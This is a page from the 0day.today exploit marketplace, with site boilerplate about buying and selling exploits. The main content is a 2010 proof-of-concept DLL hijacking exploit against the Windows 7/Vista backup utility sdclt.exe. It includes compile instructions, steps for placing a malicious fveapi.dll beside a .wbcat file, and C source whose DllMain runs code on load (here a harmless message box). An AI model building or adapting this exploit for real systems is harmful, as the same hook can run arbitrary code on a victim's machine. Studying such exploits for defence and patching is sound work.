0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Windows 7 / Vista Backup Utility sdclt.exe fveapi.dll DLL Hijacking
[===================================================================
Windows 7 / Vista Backup Utility sdclt.exe fveapi.dll DLL Hijacking
===================================================================
/*
Windows 7 and Vista Backup Utility sdclt.exe fveapi.dll DLL Hijacking Exploit
Found by: Christian Heinrich (cmlh)
Exploit by: Christian Heinrich (cmlh)
Email: christianheinrich@live.com
Web: http://www.twitter.com/cmlh
Summary: Microsoft Windows Backup application (sdclt.exe) for Windows Vista/7 exploit
Description: Microsoft Windows Backup application (sdclt.exe) suffers from a dll hijacking vulnerability
that enables the attacker to execute arbitrary code on a local level through the .wbcat extension.
----
Howto:
gcc -shared -o fveapi.dll windowsbackupexploit.c
Compile this file and rename to fveapi.dll
Then create an empty file named anything.wbcat
Double clicking the anything.wbcat file with the fveapi.dll file in the same folder will execute
our code.
----
Tested on Microsoft Windows 7 32-bit
Vulnerability discovered by Christian Heinrich (cmlh)
christianheinrich@live.com
27.08.2010
*/
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
dll_mll();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int dll_mll()
{
MessageBox(0, "Hacked by Christian Heinrich !", "DLL Message", MB_OK);
}
# 0day.today [2024-11-16] #